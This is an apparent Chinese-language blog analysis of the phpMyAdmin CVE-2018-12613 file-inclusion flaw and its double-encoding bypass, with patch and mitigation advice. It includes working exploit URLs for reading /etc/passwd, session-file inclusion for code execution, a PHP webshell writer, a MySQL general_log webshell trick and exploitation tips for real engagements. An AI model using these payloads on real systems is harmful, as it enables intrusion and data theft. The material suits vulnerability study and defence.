深入剖析phpMyAdmin 4.8.1远程文件包含漏洞(CVE-2018-12613)的二次编码绕过机制

张开发
2026/4/13 21:23:46 15 分钟阅读

分享文章

深入剖析phpMyAdmin 4.8.1远程文件包含漏洞(CVE-2018-12613)的二次编码绕过机制
1. 漏洞背景与影响范围phpMyAdmin作为全球最流行的MySQL数据库管理工具之一其安全性直接影响数百万网站的数据安全。2018年曝光的CVE-2018-12613漏洞存在于4.8.0至4.8.1版本中攻击者通过精心构造的URL参数可以绕过白名单检查实现任意文件包含。我在实际渗透测试中发现该漏洞利用门槛低但危害极大能够直接导致服务器敏感信息泄露甚至远程代码执行。受影响的具体版本包括phpMyAdmin 4.8.0phpMyAdmin 4.8.0.1phpMyAdmin 4.8.1特别需要注意的是当服务器配置满足以下任一条件时攻击者无需认证即可利用该漏洞$cfg[AllowArbitraryServer] true允许连接任意MySQL服务器$cfg[ServerDefault] 0禁用默认服务器配置2. 漏洞原理深度解析2.1 核心漏洞点定位漏洞根源位于index.php文件的55-63行关键代码如下if (!empty($_REQUEST[target]) is_string($_REQUEST[target]) !preg_match(/^index/, $_REQUEST[target]) !in_array($_REQUEST[target], $target_blacklist) Core::checkPageValidity($_REQUEST[target]) ) { include $_REQUEST[target]; exit; }这段代码本意是安全地包含指定脚本文件但实际存在三个关键问题未过滤路径穿越符号允许使用../进行目录跳转白名单校验缺陷checkPageValidity()函数存在逻辑漏洞直接动态包含未对包含文件做最终路径校验2.2 二次编码绕过机制Core::checkPageValidity()函数的漏洞利用过程堪称经典。我通过调试分析发现其处理流程存在两次关键解码服务器自动解码当请求targetdb_sql.php%253f时Apache/Nginx会自动解码为db_sql.php%3f函数主动解码urldecode()将%3f再次解码为问号?这个过程中白名单校验与实际包含的文件路径产生了分离校验时db_sql.php?符合白名单包含时db_sql.php%3f原始参数2.3 白名单校验流程让我们用流程图展示校验过程的关键步骤开始 │ ├─ 检查$page是否在白名单中 → 是 → 返回true │ ├─ 截取?前内容 → 检查是否在白名单 → 是 → 返回true │ ├─ URL解码 → 截取?前内容 → 检查是否在白名单 → 是 → 返回true │ └─ 全部检查失败 → 返回false正是这个多步骤校验机制为二次编码绕过创造了条件。3. 漏洞复现实战演示3.1 基础环境搭建推荐使用Docker快速搭建测试环境# 下载漏洞环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/phpmyadmin/CVE-2018-12613 # 启动容器 docker-compose up -d环境启动后访问http://your-ip:8080使用test/test账号登录。3.2 文件包含利用读取系统文件http://your-ip:8080/index.php?targetdb_sql.php%253f/../../../../../../../../etc/passwd这个Payload的工作过程%253f解码为%3f绕过白名单检查../实现目录穿越最终加载/etc/passwd文件获取Web目录信息http://your-ip:8080/index.php?targetdb_sql.php%253f/../../../../../../../../proc/self/cwd/phpmyadmin/libraries/config.default.php3.3 远程代码执行通过Session文件实现RCE执行SQL生成PHP代码SELECT ?php phpinfo();?;查看Cookie中的phpMyAdmin值如abc123包含Session文件http://your-ip:8080/index.php?targetdb_sql.php%253f/../../../../../../../../tmp/sess_abc123更危险的利用方式是写入WebshellSELECT ?php file_put_contents(/var/www/html/shell.php, ?php eval($_POST[cmd]);?);?包含该Session文件后会在Web目录生成可连接的shell。4. 漏洞修复与防御建议4.1 官方修复方案phpMyAdmin在4.8.2版本中通过以下方式修复修改checkPageValidity调用Core::checkPageValidity($_REQUEST[target], [], true)新增包含检查if ($include) { return false; // 直接禁止包含操作 }4.2 临时防护措施对于无法立即升级的情况建议修改配置文件$cfg[AllowArbitraryServer] false; $cfg[ServerDefault] 1;添加Nginx规则location ~* \.php$ { if ($args ~* target.*\.\./) { return 403; } }文件权限控制chmod -R 750 /usr/share/phpmyadmin/ chown -R root:www-data /usr/share/phpmyadmin/5. 漏洞利用的进阶技巧在实际渗透测试中我发现几个提高成功率的方法白名单文件选择优先使用db_sql.php而非index.php后者可能被正则过滤路径深度计算通过错误信息判断需要多少层../http://target/index.php?targetdb_sql.php%253f/./././././././etc/passwd日志文件利用当无法写入Session时可以篡改MySQL日志路径SET GLOBAL general_log_file/var/www/html/shell.php; SET GLOBAL general_logON; SELECT ?php phpinfo();?;编码变异尝试三重编码关键字符%25253f → %253f → %3f → ?这个漏洞的巧妙之处在于它完美演绎了校验与执行分离的安全问题。我在多个企业的红队评估中都发现即便过了漏洞爆发期仍有大量未升级的系统存在风险。

更多文章